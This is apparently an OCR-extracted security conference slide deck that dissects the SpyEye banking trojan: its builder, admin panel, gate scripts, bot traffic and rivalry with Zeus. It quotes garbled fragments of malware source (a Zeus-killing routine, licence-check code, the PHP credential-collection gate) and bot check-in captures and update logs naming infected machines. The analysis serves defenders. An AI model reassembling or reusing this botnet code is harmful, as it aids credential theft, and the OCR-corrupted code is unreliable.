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A Walkthrough this Talk
b SpyEye Problem

» SpyEye chronology and released versions
» Bot warsi SpyEye vs. Zeus

b SpyEye Framework

» Builderi Understanding the design
» Backend Database Collector
» Admin Panel / Form Grabber

b SpyEye Browser Manipulation Tactics

» Paradigm of web fakes
» Digging inside web injects (complete working)

b SpyEye Peripheral Components

» Complete dissection of plugins and related functionalities
b SpyEyel Testing and Hacking

» Designing builder patches

» Active detection and verification tests

b Conclusion and Discussion




The True Artifact

Bank robber, Willie Sutton famously answered about why he robl
bankKidh:atibs where t he mc




SpyEye Botnet Steals Online Banking Credentials from
Polish Users

. o Adjust texct size: A A+
w5 Like | I Be the first of your friends to ke this. September 8th, 2010, 14:20 GMT| By Lucian Constantin

New Spy Eye "Toolkit' Kills Trojan, Then
Steals Bank Info

by Carlo Orlande on 20100216 07:28PM EST | google it | send to friends

Filed under Security | (related terms: spy. malicious, hackers, trojan horse, rival )

Bl SpyEye steals your data. Even in a limited account

22"

Posted by: Marco Giuliani

A new sophisticated bot named SpyEye is on the market
Posted by rob on Jan 27, 2010 9:08 pm

SpyEye Botnet's Bogus Billing Feature

EWEEK

SECURITY WATCH

Home >> Botnets >> SpyEye Bot Kit Takes on Zeus

February 9, 2010 7:04 AM

SpyEye Bot Kit Takes on Zeus

SpyEye continues battle of the
botnets

11 February 2010

Zeus not the only threat to online banking, users warned

Lesser-known financial fraud malware include Bugat, SpyEye and
Carberp

By John E Dunn | Published: 13:10 GMT, 13 October 10 | Techworld




SpyEye Chronology

| SpyEye Ver | Module Specialties |
1.2.0 Custom and Self Designed Plugins
1.0.0 FGI‘II?GI‘beEr Keylogger SpyEye SDK Enhanced
. AutoFill Credential Module Socks with Backconnect Module
File Transfer Protocol (FTP) Grabbel FTP Backconnect Module

Post Office Protocol (POP3) Grabber Firefox Web Inject Module Optimized

1.0.65 Malicious Executable Loader

Loader Specific Graph Generation

Country Specific Infection Loader
Bot Analytics Module

1.2.4 Enhanced Data Stealling and Collection Module
"TakeGateToCollector” SDK API Added

1.2.22 Unlimited Paths to Backend Collector Database
1.0.70 Zeus Trojan Killer Module Unlimited Count of Plugins Support
Basic Auth Credential Stealer Robust Storage of Web Injects
Virus Buster and Detection Module
1.0.72 Global Anti Virus (AV) Cleaner Backend collector HTTP Traffic Optimized
Enhancements in Modules and Bugfixes Web Fakes Generation Module
1.0.75 Backend Database Collector Module 1.2.60 LITE-config module added

LZO compression Module
SpyEye Executable Compressed (40 KB)
Log Parsing based on Acceptability Rate of bot

Efficient Cookies Handling Support
Non Exportable Certificate Removel Module

1.0.8 Removed support for Dropper
Internet Explorer - Web Injects Support The development is not still over. Receit
1.1 Mozilla Firefox - Web Injects Support analySiS shown SpyEye 1.2.99 and latgst
Netscpae Navigator - Web Injects Support - s .
VM Protected Builder / Hardware Lock build 1.3.x is in the wild




Bots Collaborationls this True ?
—

Combined Zeus/SpyEye Toolkit ] ] ]
Zeus Trojan Merger with SpyEye, Other Banking

Announced
FFFFFF s poget Malware Worry Researchers
January 18, 2011, 8:11PM
ZeuS-SpyEye Merger in Progress? Zeus/SpyEve Merger Promises More
25 353 am(UTC-7) | by Kewin Stevens (Senior Threat Researchen) SOl)lliSti('f.te(l BOtS

Revisiting the SpyEye/ZeuS Merger

A False myth of predicting the truth. Fake Activity!
0 No collaboration btw Zeus and SpyEye. No verification at all.
I Latest of version of SpyEye (1.3.xx) is out. Discussed later on
A Why it is considered as collaboration?

0 Ineffective analysis and rogue research based on small set of information

0 SpyEye/Zeus uses PHP, MySqgl and relative similar obfuscators.
I This does not mean the rivals are collaborating !




SpyEye / Zeus Bot Wars

A Anatomy of deceasing the

rate of infections

b SpyEye killing Zeus and vice versa
0 Game of controlling infected machines and making botnet robust

0 Incessant way to prove the

BOOL KillZeus()

{I Geting info

CHAR szMutexiame[MAX_PATH] = {0}

CHAR szZeusPath[MAX_PATH]:

GetZeusInfo{11, szfeusPath, szecf szZeusPath, szMutexMams, szeof szMutexMams);

if {tstren|zzMutexMamea)) {
#ifdef DEBUGLITE

OutputDebugStingEd_ FUNCTION_ " : ERROR : Cannot get szMutzddame")

Fandif

. return FALSE:
#ifndef ZEUS_FASTCLEAN _ )

CHAR szZausConfig[MAX_PATH]:

GetFeuslnfo(12, szfeusConfy, sizeof szZeusConfig, NULL, MULL):

CHAR szZausLog[MAX_PATH:

GetZeuslnfo(13, szfeuslog, sizecf szfeuslog, NULL, NULL):
#Fendif
#ifdef _DEBUGLITE

CutputDebugStringEx|_ FUNCTION_ " :
CurourDebugStringEs|_FUNCTION "
Fifndef ZEUS_FASTCLEAN
CutputDebugStringEx|_ FUNCTION " :
CutputDebugStringEx|_ FUNCTION " :
#Fendif
#Fendif

INFD & 0.) Mutex \"96s\"™, szMutexiame];
IMFD & 1, ) Path \"%s\"", szZeusPath]:

IMFD & 2] Config 4"
IMFD & 3.1 Log Y"%s!

", szZewsConfig);
. szZeuslog):

{! Killing
GetZeusInfo(3, WULL, NULL, MULL, NULL);

power. Works good for analysts.

{{ Waiting
HANDLE hiMutex:

For (INT i =0 i = 20; i++] {

OpenMutex{MUTANT_QUERY _STATE|SYNCHRONIZE|STANDARD_RIGHTS_REQUIRED, FALSE,
szMutexMame);
F [ InMutex)

resk;
CloseHandle(hMutax):
X Slzep(1000);
iF (hMuses) {
#ifdef _DEBUGLITE
OutputDebugStringEx]_ FUNCTION_ " : ERROR @ hFutex is still active™);
#endif
refurn FALSE;
1

i Deleting files
if {|DeletstfddenFile{szZeusPath]) {
#ifdef _DEBUGLITE

OutputDebugStringEs_ FUNCTION__ " : WARNING : Cannot delets \"%s\™,
szZzusPath]:
#endif
3
#ifndef ZEUS_FASTCLEAN
if {!DeleteiddenFile(sz7eusConfig)) {
#ifdef _DEBUGLITE
OutputDebugStringEs_ FUNCTION__ " : WARNING : Cannot delets \"%s\™,
szFeusConfig);
#endif
\
if ['DeletebiddanFile(szZeuslog))
#ifdef _DEBUGLITE
QutputDebugStingEs_ FUMCTION_ " : WARNING 1 Cannat delets \'%s\™,

szZ7=uslog):
Fandif

I
Fendif

#ifdef _DEBUGLITE
OutputDebugStringEx(_ FUNCTION_ " INFD : EXIT™);
#endif

. returmn TRUE:
i+




SpyEyei Infection Framework ¥

Builder, Main Panel and Backend
Collector




SpyEyerl Infection Framework

A SpyEye Framework
b Builder component

b Main admin component
0 Form grabber admin

b SpyEye bot
b Backend Collector

T® Spy Eye

SpyEye Framework
SpyEye Builder
Main Admin €
Form Grabber Admin
N
Backend Collector
A

Data
Stealing Bot

Logs

4[ Target Machine

Updates

]7
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SpyEye Framework
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A Builder / Bot Generator

compress faster
decompress

test compressed file
give more help

bhe guiet

q

—oFILE write output to “FILE’

=f force compression of suspicious files

-k keep backup files
| file.. executables to {(delcompress

This version supports: dossexe.
win32/pe. rtm32/pe. tmtradam,. ataristos. linux-386

UPX comes with ABSOLUTELY HO WARRANTY; for details type ‘upx -L’.

Used to generate a bot based on the specific build settings defined in a
configuration file .

Entries in the configuration file specify paths to local and remote resources whic
are used to include modules dynamically

Builder is protected with a collaborative protection mechanism using VMProtect
and Hardware Identifier. Bots are usually packed with UPX/ASPACK

Configuration file is included from the remote server, it uses appropriate
encryption key is used to maintain the integrity of file

It uses connection interval property to avoid delays vduetiig file is in transfer
mode_ S SpyEye Builder v1.3.26 [ gzero ]

Spy Eye..
Usage: wupx [-123456789d1thUL] [-gufk] [0 filel file.. @ py y vt

compress hetter

list compressed file
display version numher
dizplay software license

U
@
T

be verhose

<l

1

dosscom, dosssys,. digpp2/coff,. watcom~sle,

11



SpyEye Framework
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A Admin Panel / Form Grabber

I Controls the structural dependencies and administrative operations of the SpyE
bot.

I Provides updates for SpyEye builder for configuration and building an executab

I Responsible for controlling the nature of plugins that are used by the SpyEye bc
for infecting victim machines

I Form grabber works explicitly in handling form data from victim machines

&4 Monitof'ing m Statistic 9 CreateTask 1| geatistic
O 2 w4 vrresT £ Pugins AL |\ £) it
' Logs Files "y Settings

Hack the Planet!

SIT P
Take your money!
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SpyEye BuilderHWID Protection

Private Sub GetHWID()

A SpyEye Builder Protection o o g s
b HWID i Hardware Identifier

Dim mec As ManagementObjectCollection = mc.GetInstances()

For Each mo As ManagementObject In moc

o . . . . If ¢I = "" Then
0 One machine per licen$eone stable executic €T = o Froperties("processorTl”) Value Tostring(

L . Exit For
public static string GetProcessorID() End If
i Next

string sProcessorlDl = String.Empty;

string sQuery = "SELECT ProcessorId FRCM Win32 Processor™:

ManagementObjectSearcher oManagementCbhjectSearcher = new ManagementObhjectSearcher (sQuery);

ManagementCbhjectCollection ofollection = oManagementCbhbject3earcher.Get ()

foreach (ManagementCbhbject oManagementCbject in oCollection) Public Shared Function MachineID()} As String

{ Dim Identifier As String = Nothing

gProcessorID = (string)oManagementCbject["ProcessorId™]:; Dim Manager As Object

Dim Management As Object = GetObject("WinMgmts:")
Manager = Management.InstancesOf("Win32_BaseBoard™)
For Each Serial In Manager

b VM Protect Identifier += Serial.SerialNumber.ToString

Next

Manager = Management.InstancesOf("Win32_Processor™)

6 Converts X86 into VM pseUdO COde inStrUC1 o EZ::tii;:1+inSI:i::§%;r'ocessorId.ToString
O Binary is subjected with inbuilt VM decrypting engine
0 Pseudo code is chosen at random

0 Hard to analyze , requires long time
I Used collectively with HWID

A Good Read http://www.usenix.org/event/woot09/tech/full_papers/rolles.pdf

return (sProcessorlD);

13



SpyEye Execution Difference ¥
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SpyEye versions < 1.0.8] [ SpyEye versions > 1.0.8]

Builder (SpyEye) ]

!

[ Dropper (build.exe) ]

!

[ Bot (Cleansweep.exe) ]

[ Builder (SpyEye) ]

v

[ Bot (Cleansweep.exename varies ]

name : _cleanEwee:: | * Mutex name :SP'\"NET

- - Make config & get build _

14



SpyEye Bot
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A Bot Functionality

s SpyEye bot
0 Ring 3 rootkit characteristics Ring3
I DLL hooking and hijacking in userland space “ Ring0
I Performs injections in web processes Ring1
0 Hooks HTTP communication interface ’ sin2
0 Infection = SpyEye {Bots + Plugins}
P PEID v0.94 ; =10 x| / e
Headers Hook
File: |C:\Documents and SettingsiAdministratoriDeskkopiSpy Eve\Spy Eve ! |_| TMP:0x12346123
3 e Code Section
Entrypoint: | D0DFA0D1 EP Section: |.aspack E
File Offset: |0DOBDEOL First Bytes: [60,E8,03,00 | > | Call WriteFileA
Linker Info: [8.0 Subsystem: [win32 GUI | > |
Import Section Invoke
| ASPack 2,12 -> Alexey Solodovnikoy WriteFileA WriteFileA
‘ 0x76935432
J Multi Scan I J Task Yiewer | | Options | J About ] ’ Exit | k /
IV Stay ontop @ EI Application.exe s

15



SpyEye Bot Communication

455 48.903347
486 51.903513
546 57.893799
726 82.883099
727 B2.887636
728 83.175039
731 83.775110
732 84.975162
733 B5.886223
734 85.935724
735 B85.935803
736 85.937508
737 87.376324
753 88.936612
769 89, 533487
770 89, 533544
786 92,176783
789 94,936918
790 95.530399
791 95.530478
837 101.777118
853 104. 602875
854 104.656485
855 104. 656622
856 104.657823
857 104. 716881
858 104. 716884
859 104.907485
875 105.716343
876 105.716409
892 106, 938652
893 106. 986376
894 106, 986753
895 107.178431
896 107.987213
897 107. 987280
1137 145.147871
1138 145.156688
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22059 » microsoft-ds [SYN] Seq=0 wWin=64240 Len=0 M55=1460 SACK_PERM=1

TCP 22059 » microsoft-ds [SYN] Seq=0 Win=64240 Len=0 M55=1460 SACK_PERM=1

TCP 22059 » microsoft-ds [SYN] Seq=0 wWin=64240 Len=0 M55=1460 SACK_PERM=1

TCP 22043 » http [FIN, ACK] Seq=l Ack=1 win=63689 Len=0

TCP 22062 » http [SYN] Seq=0 win=64240 Len=0 MSS=1460 SACK_PERM=1

TCP 22043 » http [FIN, ACK] Seg=l Ack=1 win=63689 Len=0

TCP 22043 » http [FIN, ACK] Seg=l Ack=l Win=63689 Len=0

TCP 22043 » http [FIN, ACK] Seg=l Ack=1 win=63689 Len=0

TCP 22062 > http [SYN] Seg=0 win=64240 Len=0 MSS=1460 SACK_PERM=1

TCP  http » 22062 [5YN, ACK] Seq=0 Ack=1 win=5840 Len=0 M55=1460 SACK_PERM=1

T 29067 Inﬂ-:n [M'V:l Cr\nl 1 el WA G440 Al )

HTTP  GET /~wdcklng/spy/gate_billing. php?guid=Administrator!IIITA-40E334642!D40DDIED HTTR/1.1

TCP 22083 & TCCP [FLN, ACR| SB0=L RCR=L WI=03689 Lal=u

HTTP  [TCP Retransmission] GET /~wdcklng/spy/gate_billing. php?guid=Administrator!IIITA-40E334642!D40DD1ED HTTP/1.1
ICR hﬂ-'n 22062 Lovhl _ACK] San=0 ack=d ain-S840 Lan-( MeeAR0 _cack peon_]

TCP [TCP Dup ACK 753#1] 22062 > http [ACK] Seq=155 Ack=1l win=64240 Len=0 SLE=0 SRE=1

TCP 22043 > http [FIN, ACK] Seg=1l Ack=l Win=63688 Len=0
IHTTP [TCP Retransmission] GET /~wdcklng/spy/gate_hilling. php?guid=Administrator!IIITA-40E334642!D40DD1ED HTTP/1.1|
TCF L A PR\ = U 4 e 0 7 3

TCP [TCP Dup ACK 789#1] 22062 > http [ACK] Seq=155 Ack=1l win=64240 Len=0 SLE=0 SRE=1

TCP 22043 » http [RST, ACK] Seg=2 Ack=l win=0 Len=0

TCP 22063 » http [SYN] Seq=0 win=64240 Len=0 MSS=1460 SACK_PERM=1

TCP  http » 22063 [5YN, ACK] Seq=0 Ack=1 win=5840 Len=0 M55=1460 SACK_PERM=1

ICP 22063 > httn [ack] Sen=1 ack=1 Win=64240 | pn=0

HTTP  GET /~wdcklng/spy/gate. php?guid=Administrator!IIITA-40E334642!D40DDIED&VEr=10299&stat=ONLINE&pTg=hiTTinghammer; ccgrabher
TCF }ILLp EaA k) [ =. = =S Len=y

HTTP  HTTR/1.1 404 Not Found (text/html)

TCP 22063 » http [ACK] Seq=293 Ack=552 win=63689 Len=0

TCP http » 22063 [FIN, ACK] Seq=552 Ack=293 Win=6432 Len=0

TCP__ 22063 > httn [ACK] Seq=203 Ack=553 Win=63689 [an=0
IHTTP [TCP Retransmission] GET /~wdcklng/spy/gate_billing. php?guid=Administrator!IIITA-40E334642!D400D1ED HTTP/1.1 |
TCP TtLp > 22062 LACK] SBU=L ACR=193 WiN=0d3Z LEn=u

HTTP  HTTP/L1.1 404 Not Found (text/html)

TCP 22062 » http [ACK] Seq=155 Ack=560 win=64240 Len=0

TCP http » 22062 [FIN, ACK] Seq=560 Ack=155 Win=6432 Len=0

TCP 22062 » http [ACK] Seq=155 Ack=561 win=64240 Len=0

TCP 22064 > microsoft-ds [SYN] Seq=0 win=64240 Len=0 M55=1460 SACK_PERM=1

TCP 22065 > microsoft-ds [SYN] Seq=0 Win=64240 Len=0 M55=1460 SACK_PERM=1
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SpyEye BotsUpdating Process
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Tue, 21 Zep 2010 13:35:27 +0400 - TUPDATE for bot "Administrator!MAWNUELCARLOS!CCVZAZ2A6" : hot wer = 10244 : mdS =
F90codieeddididbdcddateslcaediis @ dbwds = £4054A1920L£573c80biasdsho1daas95a6

Tue, Z1 Zep 2010 15:35:23 +0400 - Gonna update date last geoip check bot for current bot (17892)

Tue, &1 Sep 2010 18:35:28 +0400 - TUPDATE for hot "Féabio!PARTICUL-AL3S614!387A44F18" @ hot_wver = 10244 : md5S =
590codlesddidzdhdcddafes0ctedsS3s @ dbwdS = £405d4A1920£5735c80b2asds8bh91daas956

Tue, Z1 Zep 2010 15:35:30 +0400 - UPDATE for bot "Ramos!PCRAMOZ!ECIFECTA"™ @ hot wer = 10244 @ mdS =
F90c9dleeddididb4cddateslcoediis @ dbmd5 = £405d4A1920L£573cd0biasddh21daas98a6

Tue, 21 Sep 2010 18:35:33 +0400 - UPDATE for bot "norte!NORTE-PC!ZABILAST™ @ bot wver = 10244 : mdd =
590codlesddid2dbdcddateslceads3s @ dbwds = £40541920£573c80bZasdsho1daas95a6

Tue, 21 3ep 2010 13:35:35 +0400 - TUFDATE for bot "Cristina!3ECRETARTA!ZCI1CO539™ @ bot wver = 10244 @ wdd =
166667066a222460cd61532ecleladie? @ dbmdS = £405d419Z20£573c50b2addsbh91daa99586

Tue, 21 Zep 2010 13:35:35 +0400 - TUPDATE for bot "Olga!OLGA-DOFZBAZAL1S!404A7COD" @ hot wer = 10244 : mds =
F90codieeddididbdcddateslcaediis @ dbwds = £4054A1920L£573c80biasdsho1daas95a6

Tue, Z1 Zep 2010 18:35:36 +0400 - TUPDATE for bot "hitokiri!DO44AF12C31B4A6!FE066362" @ bot wer = 10244 @ mwd5 =
G90c9dlesddidZdb4cddateslcoediis @ dbwds = £40541920£573c80biZatdsh21daas9560

Tue, Z1 3ep 2010 13:35:38 +0400 - Gonha update date last _geoip check bot for current bot (17393)

Tue, Z1 Zep 2010 18:35:38 +0400 - TUPDATE for bot "UIER!FPOITO!BSDIO0AEE™ : bot wer = 10244 : mdS =
G90c9dlesddidZdb4cddateslcoediis @ dbwds = £40541920£573c80biZatdsh21daas9560

Tue, 21 Sep 2010 13:35:38 +0400 - UPDATE for bot "Gocalo!PCQUARTO!ASZCZICOZ™ @ bhot wer = 10244 @ md5 =
590codlesddid2dbdcddateslceads3s @ dbwds = £40541920£573c80bZasdsho1daas95a6

Tue, 21 3ep 2010 13:35:35 +0400 - TUFDATE for bot "Andre Reis!ADMIN-PC!3B43F13EB™ : bot_wver = 10244 : wdd =
la6667066a222460cd61532ecleladie? @ dbmdS = £405d41920E£573c50b2addsh91daa99s56

Tue, 21 Zep 2010 13:35:40 +0400 - TUPDATE for bot "3ilva!SILVA-PC!944C2335" @ bot wver = 10244 : md5 =
F90codieeddididbdcddateslcaediis @ dbwds = £4054A1920L£573c80biasdsho1daas95a6

Tue, 21 3ep 2010 185:35:44 +0400 - TUPDATE for bot "Higimédica!POITOD!ECAEFEE4"™ : hot wver = 10244 : mwdS =
G90c9dlesddidZdb4cddateslcoediis @ dbwds = £40541920£573c80biZatdsh21daas9560

Tue, Z1 3ep 2010 13:35:45 +0400 - TUFDATE for bot "Comercisl !CREATIVEWARE PO!04169211" @ bot _wer = 10244 @ mds =
590codlesddidZdbdcddateslctads3s @ dbwds = £40541920£573c80bEasdsho1daas95a6

Tue, 21 3ep 2010 13:35:46 +0400 - TUFDATE for bot "UOTILIZADOR!UTILIZAD-DAGA4F!D47EDDAD"™ : hot wer = 10244 : mdS =
590c9d0eeddidZdhdcddabeslc6eds3s @ dbwds = £40541920£5753c80b2asds8bh91daay956

Tue, 21 Sep 2010 13:35:47 +0400 - TUFDATE for bot "Ron!DSWeYNZJ!FOACSFFS" : bot wer = 10244 : mdS =
F90c9dleeddididb4cddateslcoediis @ dbmd5 = £405d4A1920L£573cd0biasddh21daas98a6

Tue, 21 3Jep 2010 13:35:459 +0400 - Gonha update date last geolp check bot for current bot (17895)

Tue, 21 Sep 2010 13:35:459 +0400 - TUPDATE for bot "Carlos!CARLOS-PC!BE30CDDZE™ : hot wver = 10244 : md5 =
F90codieeddididbdcddateslcaediis @ dbwds = £4054A1920L£573c80biasdsho1daas95a6

Tue, Z1 Zep 2010 15:35:50 +0400 - Gonna update date last geoip check bot for current bot (17894)

Tue, 21 3Jep 2010 13:35:50 +0400 - TUFDATE for bot "Leonardo!LECHNARDO-PC!BEBSES41"™ : hot_wer = 10244 : md5S =
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SpyEye Traffic Gates Paradig!

A Traffic Gates
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0 Critical data, credit card numbers, billing information is routed through gate:
0 Entry points for all the information that are stolen by the SpyEye bot

0 Completely automated and update the bots information periodically in datak
0 FilesA GATE.PHP / GATE_BILLING.PHP (Works with CONFIG.PHP)

<?php
# Database
define ('DE_SERVER',
define ('DIE_NAME', 'users') ;
define|'DE_USER', '‘userh');

include "config.php™:
include "bt_update_stuff.php”:
# Admin
require once "geoip/index.php":;
require once 'mod crypt.php';
regquire once 'mod bots.php' # Config
require once 'mod file.php':
require once 'mwod time.php';
require_once 'mod_dbase.php': f#fi Stuff
define (' 3TAT COUNTRY _NUM',
Error Reporting (E_ERROR | E_PARS3E) ; >

function getip(&§ip, &finip) {
$ip = $inip = $_ SERVER ["REMOTE_ ALDDR"]:
if (isset [S_SERVER ["HTTP_X FORWARLDED FOR"]1)) |
if [isset [s_SERVER ["HTTF_Z REAL IFP"]))
$inip = §_SERVER ["HTTP_X RELL_IP"]:
else
$inip = § SERVER ["HTTF_ X FORWARDED FOR"];
H
if (!stremp(§ip, "127.0.0.1"))
$ip = $inip = §_SERVER ["HTTP_X REAL_IP"]:
H

''localhost!' )

define ('DE_PASSWORD', 'XXXXXXHXEX']?

define (' ADMIN PASSWORD', '43r3xuxXMMXH=xxxd')?

define ('CONFIG_FILE', 'bin/config.bin');

10y ;

fply = escapeshellewd( §_GET['plg']l 1;
if (Biplo)
{
§plyg = str_replace('\N;:', ';', dplg):
iplg = str_replace('"', '', §plg):
§match = preg splic('[:]', §plg);
fent = count | §match) ;
jsglp =
for (§i = 0; §i < $cnt; §i++) |
fplugin = fmatch[$i]:
§3glp .= " plugin = 'dplugin'"™;
if (41 + 1 !'= $eont)
isglp .= "™ QR :

& Spy Eye..

Gate Installer

config.php:
mySQL
host :
db: ]
passvard ¢ [
drop current database now : =

install
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SpyEye Traffic Stats & Server Con' ¥
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